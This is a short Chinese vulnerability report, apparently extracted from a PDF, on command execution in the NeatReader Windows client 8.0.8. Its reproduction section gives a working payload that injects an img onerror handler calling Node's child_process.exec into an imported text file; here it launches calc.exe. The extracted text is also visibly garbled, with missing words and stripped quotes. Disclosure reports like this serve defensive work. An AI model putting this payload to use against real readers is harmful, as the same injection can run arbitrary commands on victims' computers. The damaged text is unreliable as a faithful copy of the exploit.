Neat Reader客户端命令执行漏洞分析与复现报告.pdfVIP

NeatReader存在命令执行

一、描述

图育科技，成立于2016年，NeatReader是该公司旗下

的产品。致力于打造一个满足现代需求的/TXT阅读器，NeatReader拥

有强大的解析引擎，支持和Txt，无论是任何类型的，都能完美展

现，最佳阅读效果。NeatReader存在命令执行，者可以使用此漏

洞进行命令执行。

二、影响

Windows客户端8.0.8

三、复现

创建一个文本文档，填入以下payload：

img/src=1/onerror=eval(`require(child_process).exec(calc.exe);

`);

打开NeatReader，点击添加，选择包含payload的文本文档导入。

导入后如下图所示

点击新添加的文本文档，触发payload成功。